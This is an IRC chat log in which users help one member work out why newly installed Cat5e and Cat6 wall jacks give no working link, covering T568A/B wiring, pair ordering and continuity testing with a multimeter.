[23:24:55] <JT-Shop> the jumper and the cable in the wall/attic all are B on both ends
[23:24:55] <Jymmm> Did you physically/visualy check both ends of each cable?
[23:25:30] <Jymmm> I'm speaking only of the cable in the wall, not any jumpers, etc.
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[23:25:32] <JT-Shop> yea, I just pulled the cable yesterday and put a male plug on the end by the machine and plugged it in and all was well
[23:26:02] <Jymmm> JT-Shop: How much slack you have available?
[23:26:10] <JT-Shop> as soon as I cut the end off and added the female wall plugs to both the 5e and the 6e cable neither one work
[23:27:01] <JT-Shop> 300'
[23:27:18] <Jymmm> DAMN, that's a lot to cram in the wall as SLACK
[23:27:34] <PCW> can you ohm it out? (if you have a router/switch on the far end you should read low ohms between 1,2 and 3,6 at the wall end)
[23:27:36] <JT-Shop> ok that is in the box
[23:27:54] <JT-Shop> switch at the far end
[23:28:05] <Jymmm> JT-Shop: Ok, I'd ohm out each of the 8 wires per cable. Sounds like one might be broke.
[23:28:22] <JT-Shop> on both cables?
[23:28:24] <Jymmm> are there any sharp points/bends, etc?
[23:28:33] <JT-Shop> not really
[23:28:57] <PCW> only 4 needed for 100BT (1,2,3,6)
[23:29:06] <Jymmm> JT-Shop: Well, not unless you feel like crimping on an RJ45 back again and testing it that way.
[23:29:33] * JT-Shop goes to get the multi meter
[23:29:34] <Jymmm> pcw_home: But if he has a crimper, he should have crimped all 4 pairs.
[23:29:52] <JT-Shop> yea, I punched down all 4 pairs
[23:30:02] <Jymmm> JT-Shop: I figure you would have =)
[23:30:26] <Jymmm> I have a network tester for long haul cables, you're welome to borrow it.
[23:30:34] <PCW> Yep but if you mess up the twisted pairs (1-2 and 3-6 are pairs) it wont work
[23:31:04] <Jymmm> pcw_home: He said he wired them to T568B though
[23:31:17] <PCW> t568A cable?
[23:31:43] <JT-Shop> one cable is cat6e and one is cat5e
[23:32:19] <Jymmm> PCW: As long as both ends are wired the same, it shouldn't matter I think.
[23:32:50] <JT-Shop> I have the 5e and 6e running all over the place from the same box but all the rest are rj45 plugs...
[23:33:14] <PCW> No you have to insure that 1-2 are pairs and 3-6 are pairs
[23:33:34] <JT-Shop> this is the only cat5 and cat6 jack I have
[23:33:34] <PCW> other wiring will ohm out but not work
[23:33:45] <Jymmm> PCW: They ARE pairs, just grn and org pair are swapped
[23:34:25] <PCW> backwards will not work either (1-8 8-1)
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[23:34:44] <PCW> because of the strange 3-6 pair
[23:34:54] <Jymmm> org/, org, grn/, blu, blu/, grn, brn/, brn
[23:35:54] <Jymmm> JT-Shop: You didn't by chance wire the female rj45 reversed did you? http://www.controlcable.com/custom.asp?c=61084321&d=T568A+and+T568B+Wiring+Schemes+--+What%27s+the+Difference%3F
[23:37:44] <Jymmm> JT-Shop: are you getting a link light at all by chance?
[23:38:02] <JT-Shop> I'm almost positive that I wired the jack wrong somehow
[23:38:09] <JT-Shop> blinky light
[23:38:35] <Jymmm> JT-Shop: consistant pattern or semi-random pattern of blinkyness?
[23:38:45] <JT-Shop> http://www.structuredhomewiring.com/Finishing.aspx doesn't match my cheat sheet
[23:40:20] <Jymmm> JT-Shop: does your jack have the A/B colored label on the back side of it?
[23:40:25] <JT-Shop> ok, the 5e jack is positively wired wrong, I used the 6e card to wire it
[23:41:05] <Jymmm> JT-Shop: when you go to re-wire it, be sure the keep the pairs as twisted as possible too
[23:41:13] <JT-Shop> yea
[23:42:11] <Jymmm> Sometimes it's nice to have f/f wall jacks, then you dont have to muck with this crap.
[23:42:36] <Jymmm> ok, bbiab
[23:43:12] <JT-Shop> ok
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